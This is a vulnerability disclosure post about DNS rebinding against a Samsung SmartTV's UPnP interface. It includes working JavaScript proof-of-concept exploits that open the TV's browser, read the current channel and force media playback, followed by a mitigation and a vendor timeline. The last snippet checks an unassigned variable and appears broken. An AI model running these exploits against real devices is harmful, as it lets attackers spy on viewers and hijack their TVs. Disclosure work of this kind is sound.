DNS rebinding vulnerability in Samsung SmartTV UPnP
Published:
Updated:
I found a DNS rebinding vulnerability on the Universal Plug-and-Play (UPnP) interface of the Samsung TV UE40F6320 (v1.0), from 2011. This could be used, for example, to change the channel, to know which channel is currently used or open the builtin browser to any URI.
Finding
The Samsung SmartTV UE40F6320 is vulnerable to DNS rebinding attacks with latests firmware. An malicious web server can trick a browser inside the network into making UPnP requests on the Samsung SmartTV.
This could be used for example to:
- force navigation to a given URI (
urn:samsung.com:service:MainTVAgent2:1#RunBrowser
); - see which programs the user is watching (
urn:samsung.com:service:MainTVAgent2:1#GetCurrentMainTVChannel
).
This is mitigated by an IP-address based Access Control List (ACL) in the Samsung SmartTV. The first time a given IP address tries to make a UPnP request, the TV asks whether this IP address should be allowed to make UPnP requests.
This vulnerability has apparently been fixed in more recent models but this model is too old so the fix won't be backported.
Exploits
Exploiting RunBrowser
With the RunBrowser
method, the attacker can open an embedded-browser to a given URI:
function sleep(delay)
{
return new Promise((resolve, reject) => {
setTimeout(resolve, delay);
});
}
async function main()
{
while(true) {
const response = await fetch("/smp_4_", {
method: "POST",
headers: {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": '"urn:samsung.com:service:MainTVAgent2:1#RunBrowser"',
},
body: `<?xml version="1.0″ encoding="utf-8″?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:RunBrowser xmlns:u="urn:samsung.com:service:MainTVAgent2:1">
<BrowserURL>https://www.youtube.com/watch?v=dQw4w9WgXcQ</BrowserURL>
</u:RunBrowser>
</s:Body>
</s:Envelope>`
});
if (response.status == 200) {
alert("Done")
return;
}
await sleep(1000);
}
}
main()
Exploiting GetCurrentMainTVChannel
With the GetCurrentMainTVChannel
method, the attacker can poll to known which channel is being watched:
function sleep(delay)
{
return new Promise((resolve, reject) => {
setTimeout(resolve, delay);
});
}
async function main()
{
while(true) {
const response = await fetch("//192.168.1.18:7676/smp_4_", {
method: "POST",
headers: {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": '"urn:samsung.com:service:MainTVAgent2:1#GetCurrentMainTVChannel"',
},
body: `<?xml version="1.0″ encoding="utf-8″?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:GetCurrentMainTVChannel xmlns:u="urn:samsung.com:service:MainTVAgent2:1">
</u:GetCurrentMainTVChannel>
</s:Body>
</s:Envelope>`
});
if (response.status == 200) {
alert("Done")
return;
}
await sleep(1000);
}
}
main()
SOAP Response:
<?xml version="1.0" encoding="utf-8"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetCurrentMainTVChannelResponse xmlns:u="urn:samsung.com:service:MainTVAgent2:1"><Result>OK</Result><CurrentChannel><?xml version="1.0" encoding="UTF-8" ?><Channel><ChType>DTV</ChType><MajorCh>2</MajorCh><MinorCh>65534</MinorCh><PTC>30</PTC><ProgNum>257</ProgNum></Channel></CurrentChannel></u:GetCurrentMainTVChannelResponse>
</s:Body>
</s:Envelope>
The <MainChannel>
content can be decoded as:
<?xml version="1.0" encoding="UTF-8" ?>
<Channel>
<ChType>DTV</ChType>
<MajorCh>2</MajorCh>
<MinorCh>65534</MinorCh>
<PTC>30</PTC>
<ProgNum>257</ProgNum>
</Channel>
Exploiting SetAVTransportURI
With the SetAVTransportURI
method, the attacker can force the display of a media (given by a URI). This is however apparently limited to media on the LAN.
const XML_CHAR_MAP = {
'<': '<',
'>': '>',
'&': '&',
'"': '"',
"'": '''
};
function escapeXml (s) {
return s.replace(/[<>&"']/g, function (ch) {
return XML_CHAR_MAP[ch];
});
}
const uri = 'http://192.168.1.16:9999/big-buck-bunny_trailer.webm'
metadata = `<?xml version="1.0"?>
<DIDL-Lite xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:sec="http://www.sec.co.kr/">
<item id="f-0" parentID="0" restricted="0">
<dc:title>Video</dc:title>
<dc:creator>Anonymous</dc:creator>
<upnp:class>object.item.videoItem</upnp:class>
<res >${escapeXml(uri)}</res>
</item>
</DIDL-Lite>`;
function sleep(delay)
{
return new Promise((resolve, reject) => {
setTimeout(resolve, delay);
});
}
async function main()
{
while(true) {
await fetch("/smp_22_", {
method: "POST",
headers: {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": '"urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI"',
},
body: `<?xml version="1.0″ encoding="utf-8″?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
<InstanceID>0</InstanceID>
<CurrentURI>${escapeXml(uri)}</CurrentURI>
<CurrentURIMetaData>${escapeXml(metadata)}</CurrentURIMetaData>
</u:SetAVTransportURI>
</s:Body>
</s:Envelope>`
});
await fetch("//192.168.1.18:7676/smp_22_", {
method: "POST",
headers: {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": '"urn:schemas-upnp-org:service:AVTransport:1#Play"',
},
body: `<?xml version="1.0″ encoding="utf-8″?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:Play xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
<InstanceID>0</InstanceID>
<Speed>1</Speed>
</u:Play>
</s:Body>
</s:Envelope>`
});
if (response.status == 200) {
alert("Done")
return;
}
await sleep(1000);
}
}
main()
Mitigation
This DNS-rebinding attack could be blocked by validating the Host
header: for UPnP requests, the Host
header should always use an IP address and not a domain name.
Timeline
- 2020-06-17, Submitted report
- 2020-06-18/31, details and clarifications
- 2020-09-24, reported as won't fix by vendor (because they consider the risk to be low)